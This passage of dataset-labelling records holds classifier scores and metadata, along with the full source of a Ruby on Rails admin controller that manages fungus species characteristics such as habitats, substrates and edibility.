8.299561981474094e-05, "Politics & Government": 1.4356428178642405e-05, "Religion & Spirituality": 2.4786316313390133e-05, "Science, Mathematics & Engineering": 0.0005332379363466546, "Relationships & Community": 1.1922885588375295e-05, "Software Usage & Applications": 0.000886838049157566, "Programming & Software Engineering": 0.9977928446687269, "Sports & Fitness": 3.221358133986312e-05, "Vehicles & Transportation": 1.3659191451424883e-05, "Travel & Tourism": 3.118729814932833e-05, "Other / Uncovered Subject": 0.0001368500856757309, "Unknown / Insufficient Content": 6.0031618465567484e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00014323085539966833, "Art & Design": 0.00013448866375652028, "Law & Crime": 0.0005637340055467336, "Education & Careers": 0.00012128308571361903, "Entertainment & Media": 0.00010957881033121455, "Fashion & Beauty": 6.25958456773091e-05, "Business, Economics & Finance": 0.00014623130193896925, "Food & Dining": 5.77256677364853e-05, "Games & Gaming": 0.00013068010362740656, "Electronics & Hardware": 0.00018817171911530276, "Health, Healthcare & Wellness": 6.235186706565356e-05, "History & Geography": 7.326365975963141e-05, "Home, Pets & Hobbies": 4.580566473292748e-05, "Industry & Production": 4.681030548989332e-05, "Language, Literature & Philosophy": 0.00027555940028545136, "Politics & Government": 6.8602069096478e-05, "Religion & Spirituality": 8.787598764870553e-05, "Science, Mathematics & Engineering": 0.0012555289921749584, "Relationships & Community": 4.350164390457291e-05, "Software Usage & Applications": 0.004453801542801701, "Programming & Software Engineering": 0.012232913813570927, "Sports & Fitness": 7.040424625966461e-05, "Vehicles & Transportation": 3.224371235282048e-05, "Travel & Tourism": 0.00010598912209389117, "Other / Uncovered Subject": 0.00017854537607181416, "NONE": 0.9793090825378477}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11605, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11605, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:17.853156+00:00", "scoring_key_slot": "primary", "dataset_uid": "4a611a6a-6bda-4b75-b920-17660187691e", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "274a9ac0deb9179a117b60ce4a8cb98e91991921f7b5f82f84c33beba0dc9f66", "source_metadata": {"uuid": "4a611a6a-6bda-4b75-b920-17660187691e", "repo_name": "Trepan-Debuggers/rb8-trepanning", "relative_path": "processor/validate.rb", "category": "TOOL", "algo_rel_score": 0.7444174885749817, "quality_score": 3.956068992614746, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 177, "repo_created_at": "2011-05-27T12:26:03.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 2, "forks": 1, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "87bf68b3d6066ececd29e227ab6126213934d276", "size_bytes": 11397, "file_timestamp": 1711395713, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "542b6ebd49e7f7757f3a56dd4a4aeb459f1d31d7"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 177, "repo_created_at": "2011-05-27T12:26:03.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 2, "forks": 1, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "87bf68b3d6066ececd29e227ab6126213934d276", "size_bytes": 11397, "file_timestamp": 1711395713, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "542b6ebd49e7f7757f3a56dd4a4aeb459f1d31d7", "url": "https://github.com/Trepan-Debuggers/rb8-trepanning/blob/542b6ebd49e7f7757f3a56dd4a4aeb459f1d31d7/processor/validate.rb"}, "gpt4o_tokens": 2957, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5443107147174567, "noise_severity": 0.2693813019854576, "missing_content_severity": 0.08557394424331918, "factual_density": 3.301747322692559, "pretraining_utility": 0.35860851347186995, "math_density": 0.23105161545130634, "code_density": 3.8483371003187274, "reasoning_density": 0.9039742708052904, "education_level": 2.540124353279633, "creative_writing_quality": -0.22998563681418477}, "score_applicability": {"education_level": 0.9989691911443758, "creative_writing_quality": 0.00045320618841964794}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/bosskovic/fungiorbis_pure_rails/blob/be0d7f02fc46f9357b6f4ccbdc6969215b661ac3/app/controllers/admin/characteristics_controller.rb", "id": "ruby-0-a72d38d5b324a718093b0e0f885c5ca7", "text": "class Admin::CharacteristicsController < Admin::AdminController\n include HabitatHelper\n\n before_action :set_species\n before_action :set_reference\n before_action :set_characteristic\n before_action :set_fields\n\n authorize_resource\n\n respond_to :js\n\n def self.index_fields_for(resource)\n fields = [(resource == :species ? { name: :reference, field: :full_title } : { name: :species, field: :full_name, class: 'italic' })]\n fields + [\n { name: :short, no_label: true, method: :short_characteristics },\n { name: :long, no_label: true, method: :long_characteristics },\n { name: :habitats, method: :habitat_icons },\n { name: :substrates, method: :substrate_icons },\n { name: :actions, no_label: true }\n ]\n end\n\n def index\n end\n\n def create\n if @characteristic.save\n @characteristics = @species ? @characteristic.species.characteristics : @characteristic.reference.characteristics\n render :index\n else\n Rails.logger.debug @characteristic.errors.messages\n head :no_content\n end\n end\n\n def update\n if @characteristic.update(resource_params)\n flash.now[:message] = 'success'\n @characteristics = @species ? @characteristic.species.characteristics : @characteristic.reference.characteristics\n render :index\n else\n Rails.logger.debug @characteristic.errors.messages\n head :no_content\n end\n end\n\n def destroy\n if @characteristic.destroy\n @characteristics = @species ? @characteristic.species.characteristics : @characteristic.reference.characteristics\n render :index\n else\n Rails.logger.debug @characteristic.errors.messages\n head :no_content\n end\n\n end\n\n private\n\n def set_characteristic\n if action == :new\n @characteristic = @species ? @species.characteristics.new : @reference.characteristics.new\n elsif action == :create\n @characteristic = @species ? @species.characteristics.new(resource_params) : @reference.characteristics.new(resource_params)\n elsif action == :index\n @characteristics = @species ? @species.characteristics : @reference.characteristics\n else\n @characteristic = Characteristic.friendly.find(params[:id])\n end\n\n @characteristic.habitats = params['characteristic']['habitats'].values.uniq if params && params['characteristic'] && params['characteristic']['habitats']\n @characteristic.substrates = params['characteristic']['substrates'].reject! { |s| s.empty? } if params && params['characteristic'] && params['characteristic']['substrates']\n end\n\n def set_species\n @species = Species.where(url: params[:species_url]).first\n end\n\n def set_reference\n @reference = params[:reference_id] ? Reference.friendly.find(params[:reference_id]) : nil\n end\n\n def set_fields\n @options = {\n index_path: @species ? admin_species_characteristics_path(@species) : admin_reference_characteristics_path(@reference),\n new_path: @species ? new_admin_species_characteristic_path(@species) : new_admin_reference_characteristic_path(@reference),\n remote: true\n }\n\n unless [:index, :new, :create].include?(action)\n @options[:edit_path] = @species ? edit_admin_species_characteristic_path(@species, @characteristic) : edit_admin_reference_characteristic_path(@reference, @characteristic)\n @options[:path] = @species ? admin_species_characteristic_path(@species, @characteristic) : admin_reference_characteristic_path(@reference, @characteristic)\n end\n\n if [:index, :update, :create, :destroy].include?(action)\n @fields = Admin::CharacteristicsController.index_fields_for(@species ? :species : :reference)\n else\n @fields = [@species ? { name: :reference, field: :full_title, include_blank: false, as: :collection_select, collection: Reference.where.not(id: Characteristic.where(species_id: @species.id).pluck(:reference_id)) }\n : { name: :species, field: :full_name, include_blank: false, as: :collection_select, label_method: :full_name, value_method: :id, collection: Species.where('id not in (?)', Characteristic.where(reference_id: @reference.id).pluck(:species_id)), input_html: { class: 'italic' } }]\n @fields += [\n { name: :edible, method: :boolean_to_icon },\n { name: :cultivated, method: :boolean_to_icon },\n { name: :poisonous, method: :boolean_to_icon },\n { name: :medicinal, method: :boolean_to_icon },\n { name: :habitats, method: :habitats_preview },\n { name: :substrates, method: :substrates_preview },\n { name: :fruiting_body, method: :localized_characteristic_preview },\n { name: :microscopy, method: :localized_characteristic_preview },\n { name: :flesh, method: :localized_characteristic_preview },\n { name: :chemistry, method: :localized_characteristic_preview },\n { name: :note, method: :localized_characteristic_preview }\n ]\n end\n end\n\n def resource_params\n params.require(:characteristic).permit(Characteristic::PUBLIC_FIELDS)\n end\n\n def current_resource\n @characteristic\n end\nend\n", "text_preview": "class Admin::CharacteristicsController < Admin::AdminController include HabitatHelper before_action :set_species before_action :set_reference before_action :set_characteristic before_action :set_fields authorize_resource respond_to :js def ", "input_sha256": "43842962a1f2c4fcfdf0be64cc6fe0308a943426e0fe597ad9d3b378eddc35d8", "text_sha256": "a72d38d5b324a718093b0e0f885c5ca7efbd1b47c1c94f196f3627db20987027", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16028, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7900288314073792, "noise_severity": 0.00652796471251155, "missing_content_severity": 0.017637181459152076, "factual_density": 3.3344970193690933, "pretraining_utility": 0.34210355399582215, "math_density": 0.008392211398569032, "code_density": 3.9125589774763645, "reasoning_density": 0.23401577736936205, "education_level": 2.3758507864935487, "creative_writing_quality": -0.33364669963864135}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.011410144923714172, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.996378202567072, "secondary": 0.9783226054152011, "tertiary": 0.9902288435964681, "structured_records": 0.09667888845860724, "procedural_steps": 0.0015644171064984383, "worked_solution": 0.0010831145284207716, "contextual_dialogue": 8.651186368183595e-06, "content_quality": 0.5057254756144367, "noise_severity": 0.9945600294062403, "missing_content_severity": 0.98530234878404, "factual_density": 0.44541418280757716, "pretraining_utility": 0.48100631692909823, "math_density": 0.9930064905011925, "code_density": 0.9271324812303038, "reasoning_density": 0.8049868521921983, "education_level": 0.5513075451760601, "creative_writing_quality": 0.9992597679645271, "primary_topic": 0.9764339458769493, "secondary_topic": 0.8655087362026119}, "probability_margin": {"primary": 0.9949810593439654, "secondary": 0.9683194215791235, "tertiary": 0.9858282361463548, "education_level": 0.29458945382273155, "creative_writing_quality": 0.9991053749442795, "primary_topic": 0.9638685918303527, "secondary_topic": 0.7991034073049956}, "raw_probabilities": {"primary": {"Academic Writing": 3.7984725601123735e-05, "Content Listing": 3.530317587313294e-05, "Creative Writing": 1.7879973279164127e-05, "Customer Support Page": 8.76787013388145e-06, "Q&A Forum": 1.1372352875373977e-05, "Discussion Thread": 6.953706076662551e-06, "Comment Section": 9.86180374352403e-06, "Missing Content": 3.173669977568912e-05, "Knowledge Article": 6.236407475948138e-05, "Legal Notices": 2.5562319246941373e-05, "News Article": 4.786615248707378e-06, "Organizational Announcement": 1.0868586257496167e-05, "Nonfiction Writing": 1.2425224479394878e-05, "Organizational About Page": 1.2266578316175903e-05, "Personal About Page": 1.2553209198774404e-05, "Personal Blog": 7.310409382860494e-06, "Product Page": 7.614069635300197e-06, "Spam / Ads": 1.0620896880965396e-05, "Structured Data": 0.0014419329123686099, "Technical Writing": 0.996529110793444, "Transcript / Interview": 1.227800704708098e-05, "Tutorial / How-To Guide": 0.0001363020771312876, "User Reviews": 6.092469765738396e-06, "Other / Unknown": 0.0015480514494785812}, "secondary": {"Academic Writing": 0.00019297293180216388, "Content Listing": 0.0004348083884308986, "Creative Writing": 0.00010708471778310087, "Customer Support Page": 4.9210746151005245e-05, "Q&A Forum": 3.6233081249712935e-05, "Discussion Thread": 3.671063505401243e-05, "Comment Section": 7.804038303552024e-05, "Missing Content": 0.00034441537884757916, "Knowledge Article": 0.0002584791072575022, "Legal Notices": 0.0001462317698726189, "News Article": 5.536602484603299e-05, "Organizational Announcement": 4.7246099339978166e-05, "Nonfiction Writing": 4.4159727836098115e-05, "Organizational About Page": 6.554756264961624e-05, "Personal About Page": 4.74045609860219e-05, "Personal Blog": 3.916844810416007e-05, "Product Page": 3.111302102442149e-05, "Spam / Ads": 5.536515363381525e-05, "Structured Data": 0.010906408610444285, "Technical Writing": 0.007459367394073256, "Transcript / Interview": 5.158998059320482e-05, "Tutorial / How-To Guide": 0.00026432817149561787, "User Reviews": 2.2917915921661677e-05, "NONE": 0.9792258301895678}, "tertiary": {"Academic Writing": 0.0001265991115097184, "Content Listing": 0.00031301578781284945, "Creative Writing": 8.136478882186634e-05, "Customer Support Page": 3.358505379245379e-05, "Q&A Forum": 2.1168328143488972e-05, "Discussion Thread": 2.1710906069182184e-05, "Comment Section": 5.6153402628120185e-05, "Missing Content": 0.0003233526121235056, "Knowledge Article": 0.0002243502897133022, "Legal Notices": 0.000118862470571662, "News Article": 3.7273156300164584e-05, "Organizational Announcement": 3.381386159212013e-05, "Nonfiction Writing": 4.0708707717154185e-05, "Organizational About Page": 6.08200989358427e-05, "Personal About Page": 3.612984451253865e-05, "Personal Blog": 3.006563776938362e-05, "Product Page": 2.8976834547865057e-05, "Spam / Ads": 4.3050940483960224e-05, "Structured Data": 0.0048077389669271085, "Technical Writing": 0.002652392850118852, "Transcript / Interview": 3.704882505794592e-05, "Tutorial / How-To Guide": 0.00021697090484375475, "User Reviews": 1.8871506725187732e-05, "NONE": 0.9906359751132819}, "structured_records": {"false": 0.9033211115413927, "true": 0.09667888845860724}, "procedural_steps": {"false": 0.9984355828935015, "true": 0.0015644171064984383}, "worked_solution": {"false": 0.9989168854715792, "true": 0.0010831145284207716}, "contextual_dialogue": {"false": 0.9999913488136318, "true": 8.651186368183595e-06}, "content_quality": {"-2": 0.009596283056690177, "-1": 0.044657983931778396, "0": 0.283445481894021, "1": 0.470721120782483, "2": 0.1915791303350275}, "noise_severity": {"0": 0.9949428286537544, "1": 0.004113884793212877, "2": 0.0005738614097037993, "3": 0.00021134347342439185, "4": 0.00015808166990447423}, "missing_content_severity": {"0": 0.9904822665625472, "1": 0.003879198360002219, "2": 0.0036585755390985894, "3": 0.0014790061324547765, "4": 0.0005009534058970865}, "factual_density": {"0": 0.011614584173024514, "1": 0.015756264434093573, "2": 0.10903054759107848, "3": 0.3537147554543717, "4": 0.5098838483474318}, "pretraining_utility": {"-2": 0.01123901497975635, "-1": 0.11786640288511734, "0": 0.452388184743094, "1": 0.35456480794361206, "2": 0.06394158944842004}, "math_density": {"0": 0.9946824730876982, "1": 0.00399692155999376, "2": 0.0003426364621024425, "3": 0.00020185864645175545, "4": 0.0007761102437537795}, "code_density": {"0": 0.00020995955187265875, "1": 0.00038208353674208634, "2": 0.009990275102533695, "3": 0.06547438350085119, "4": 0.9239432983080004}, "reasoning_density": {"0": 0.8633275685577254, "1": 0.05867828173157082, "2": 0.06324059722694232, "3": 0.010157908751138318, "4": 0.004595643732622893}, "education_level": {"none": 0.001491274155726281, "0": 0.0016303888011313474, "1": 0.010508732479120698, "2": 0.62608962098005, "3": 0.3315001671573185, "4": 0.02877981642665305}, "creative_writing_quality": {"not_applicable": 0.9993831399704393, "-2": 0.00010459963588021267, "-1": 0.0001285771381226927, "0": 0.0002777650261596911, "1": 7.987336191554709e-05, "2": 2.6044867482786017e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.339680391324107e-05, "Art & Design": 0.00017741365441898514, "Law & Crime": 7.104350147073346e-05, "Education & Careers": 8.585715722887334e-05, "Entertainment & Media": 8.359526171074799e-05, "Fashion & Beauty": 0.00011399163470697719, "Business, Economics & Finance": 0.0001655245444825138, "Food & Dining": 0.00043289623758492265, "Games & Gaming": 0.00037870864958716033, "Electronics & Hardware": 0.00011113746066761528, "Health, Healthcare & Wellness": 0.0003507330803927157, "History & Geography": 0.0001337530532621509, "Home, Pets & Hobbies": 0.0007845147408454148, "Industry & Production": 0.00014460953440738875, "Language, Literature & Philosophy": 9.892640212197353e-05, "Politics & Government": 4.451446136577013e-05, "Religion & Spirituality": 0.00014500428910414919, "Science, Mathematics & Engineering": 0.013471740743637089, "Relationships & Community": 3.7070134260540933e-05, "Software Usage & Applications": 0.0005851271104594665, "Programming & Software Engineering": 0.9773403325739898, "Sports & Fitness": 7.695525293231502e-05, "Vehicles & Transportation": 4.313541221869115e-05, "Travel & Tourism": 0.00011441814248891745, "Other / Uncovered Subject": 0.004531235337942075, "Unknown / Insufficient Content": 0.00040436482480018875}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006982996658974306, "Art & Design": 0.0008511754230578199, "Law & Crime": 0.0005350009369372762, "Education & Careers": 0.0003816502876186868, "Entertainment & Media": 0.0005870637919256445, "Fashion & Beauty": 0.0004339384281668553, "Business, Economics & Finance": 0.0006243858369998407, "Food & Dining": 0.0011171739566523053, "Games & Gaming": 0.0007261766641185331, "Electronics & Hardware": 0.0004146078914015229, "Health, Healthcare & Wellness": 0.0008067556179803281, "History & Geography": 0.00041492314571058063, "Home, Pets & Hobbies": 0.0019495736647877082, "Industry & Production": 0.0003273655995657283, "Language, Literature & Philosophy": 0.0002897689977634845, "Politics & Government": 0.0002195268827815873, "Religion & Spirituality": 0.0006261407395051124, "Science, Mathematics & Engineering": 0.07157806981290046, "Relationships & Community": 0.00015819892148001834, "Software Usage & Applications": 0.002355500942392704, "Programming & Software Engineering": 0.028627718658435043, "Sports & Fitness": 0.00027312473127244437, "Vehicles & Transportation": 0.00014090309822445272, "Travel & Tourism": 0.0004381218613380216, "Other / Uncovered Subject": 0.014743357325190344, "NONE": 0.8706814771178961}}, "probabilities": {"primary": {"Academic Writing": 3.798472560112374e-05, "Content Listing": 3.530317587313295e-05, "Creative Writing": 1.787997327916413e-05, "Customer Support Page": 8.767870133881452e-06, "Q&A Forum": 1.1372352875373979e-05, "Discussion Thread": 6.953706076662552e-06, "Comment Section": 9.861803743524031e-06, "Missing Content": 3.1736699775689125e-05, "Knowledge Article": 6.236407475948139e-05, "Legal Notices": 2.5562319246941376e-05, "News Article": 4.786615248707379e-06, "Organizational Announcement": 1.0868586257496169e-05, "Nonfiction Writing": 1.242522447939488e-05, "Organizational About Page": 1.2266578316175905e-05, "Personal About Page": 1.2553209198774406e-05, "Personal Blog": 7.310409382860495e-06, "Product Page": 7.6140696353001975e-06, "Spam / Ads": 1.0620896880965398e-05, "Structured Data": 0.00144193291236861, "Technical Writing": 0.9965291107934441, "Transcript / Interview": 1.2278007047080982e-05, "Tutorial / How-To Guide": 0.00013630207713128761, "User Reviews": 6.092469765738397e-06, "Other / Unknown": 0.0015480514494785815}, "secondary": {"Academic Writing": 0.00019297293180216388, "Content Listing": 0.0004348083884308986, "Creative Writing": 0.00010708471778310087, "Customer Support Page": 4.9210746151005245e-05, "Q&A Forum": 3.6233081249712935e-05, "Discussion Thread": 3.671063505401243e-05, "Comment Section": 7.804038303552024e-05, "Missing Content": 0.00034441537884757916, "Knowledge Article": 0.0002584791072575022, "Legal Notices": 0.0001462317698726189, "News Article": 5.536602484603299e-05, "Organizational Announcement": 4.7246099339978166e-05, "Nonfiction Writing": 4.4159727836098115e-05, "Organizational About Page": 6.554756264961624e-05, "Personal About Page": 4.74045609860219e-05, "Personal Blog": 3.916844810416007e-05, "Product Page": 3.111302102442149e-05, "Spam / Ads": 5.536515363381525e-05, "Structured Data": 0.010906408610444285, "Technical Writing": 0.007459367394073256, "Transcript / Interview": 5.158998059320482e-05, "Tutorial / How-To Guide": 0.00026432817149561787, "User Reviews": 2.2917915921661677e-05, "NONE": 0.9792258301895678}, "tertiary": {"Academic Writing": 0.0001265991115097184, "Content Listing": 0.00031301578781284945, "Creative Writing": 8.136478882186634e-05, "Customer Support Page": 3.358505379245379e-05, "Q&A Forum": 2.1168328143488972e-05, "Discussion Thread": 2.1710906069182184e-05, "Comment Section": 5.6153402628120185e-05, "Missing Content": 0.0003233526121235056, "Knowledge Article": 0.0002243502897133022, "Legal Notices": 0.000118862470571662, "News Article": 3.7273156300164584e-05, "Organizational Announcement": 3.381386159212013e-05, "Nonfiction Writing": 4.0708707717154185e-05, "Organizational About Page": 6.08200989358427e-05, "Personal About Page": 3.612984451253865e-05, "Personal Blog": 3.006563776938362e-05, "Product Page": 2.8976834547865057e-05, "Spam / Ads": 4.3050940483960224e-05, "Structured Data": 0.0048077389669271085, "Technical Writing": 0.002652392850118852, "Transcript / Interview": 3.704882505794592e-05, "Tutorial / How-To Guide": 0.00021697090484375475, "User Reviews": 1.8871506725187732e-05, "NONE": 0.9906359751132819}, "structured_records": {"false": 0.9033211115413927, "true": 0.09667888845860724}, "procedural_steps": {"false": 0.9984355828935015, "true": 0.0015644171064984383}, "worked_solution": {"false": 0.9989168854715792, "true": 0.0010831145284207716}, "contextual_dialogue": {"false": 0.9999913488136318, "true": 8.651186368183595e-06}, "content_quality": {"-2": 0.009596283056690177, "-1": 0.044657983931778396, "0": 0.283445481894021, "1": 0.470721120782483, "2": 0.1915791303350275}, "noise_severity": {"0": 0.9949428286537545, "1": 0.004113884793212878, "2": 0.0005738614097037994, "3": 0.00021134347342439188, "4": 0.00015808166990447425}, "missing_content_severity": {"0": 0.9904822665625473, "1": 0.0038791983600022194, "2": 0.00365857553909859, "3": 0.0014790061324547767, "4": 0.0005009534058970866}, "factual_density": {"0": 0.011614584173024514, "1": 0.015756264434093573, "2": 0.10903054759107848, "3": 0.3537147554543717, "4": 0.5098838483474318}, "pretraining_utility": {"-2": 0.011239014979756351, "-1": 0.11786640288511736, "0": 0.4523881847430941, "1": 0.3545648079436121, "2": 0.06394158944842006}, "math_density": {"0": 0.9946824730876983, "1": 0.003996921559993761, "2": 0.0003426364621024426, "3": 0.00020185864645175548, "4": 0.0007761102437537796}, "code_density": {"0": 0.00020995955187265875, "1": 0.00038208353674208634, "2": 0.009990275102533695, "3": 0.06547438350085119, "4": 0.9239432983080004}, "reasoning_density": {"0": 0.8633275685577256, "1": 0.05867828173157083, "2": 0.06324059722694234, "3": 0.01015790875113832, "4": 0.004595643732622894}, "education_level": {"none": 0.0014912741557262812, "0": 0.0016303888011313477, "1": 0.0105087324791207, "2": 0.6260896209800502, "3": 0.33150016715731856, "4": 0.028779816426653053}, "creative_writing_quality": {"not_applicable": 0.999383139970439, "-2": 0.00010459963588021264, "-1": 0.00012857713812269267, "0": 0.000277765026159691, "1": 7.987336191554708e-05, "2": 2.604486748278601e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 7.339680391324104e-05, "Art & Design": 0.00017741365441898506, "Law & Crime": 7.104350147073343e-05, "Education & Careers": 8.58571572288733e-05, "Entertainment & Media": 8.359526171074795e-05, "Fashion & Beauty": 0.00011399163470697713, "Business, Economics & Finance": 0.00016552454448251372, "Food & Dining": 0.00043289623758492244, "Games & Gaming": 0.00037870864958716016, "Electronics & Hardware": 0.00011113746066761522, "Health, Healthcare & Wellness": 0.00035073308039271553, "History & Geography": 0.00013375305326215084, "Home, Pets & Hobbies": 0.0007845147408454145, "Industry & Production": 0.0001446095344073887, "Language, Literature & Philosophy": 9.892640212197349e-05, "Politics & Government": 4.451446136577011e-05, "Religion & Spirituality": 0.00014500428910414913, "Science, Mathematics & Engineering": 0.013471740743637084, "Relationships & Community": 3.707013426054092e-05, "Software Usage & Applications": 0.0005851271104594663, "Programming & Software Engineering": 0.9773403325739893, "Sports & Fitness": 7.695525293231498e-05, "Vehicles & Transportation": 4.313541221869113e-05, "Travel & Tourism": 0.0001144181424889174, "Other / Uncovered Subject": 0.004531235337942073, "Unknown / Insufficient Content": 0.0004043648248001886}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006982996658974306, "Art & Design": 0.0008511754230578199, "Law & Crime": 0.0005350009369372762, "Education & Careers": 0.0003816502876186868, "Entertainment & Media": 0.0005870637919256445, "Fashion & Beauty": 0.0004339384281668553, "Business, Economics & Finance": 0.0006243858369998407, "Food & Dining": 0.0011171739566523053, "Games & Gaming": 0.0007261766641185331, "Electronics & Hardware": 0.0004146078914015229, "Health, Healthcare & Wellness": 0.0008067556179803281, "History & Geography": 0.00041492314571058063, "Home, Pets & Hobbies": 0.0019495736647877082, "Industry & Production": 0.0003273655995657283, "Language, Literature & Philosophy": 0.0002897689977634845, "Politics & Government": 0.0002195268827815873, "Religion & Spirituality": 0.0006261407395051124, "Science, Mathematics & Engineering": 0.07157806981290046, "Relationships & Community": 0.00015819892148001834, "Software Usage & Applications": 0.002355500942392704, "Programming & Software Engineering": 0.028627718658435043, "Sports & Fitness": 0.00027312473127244437, "Vehicles & Transportation": 0.00014090309822445272, "Travel & Tourism": 0.0004381218613380216, "Other / Uncovered Subject": 0.014743357325190344, "NONE": 0.8706814771178961}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, 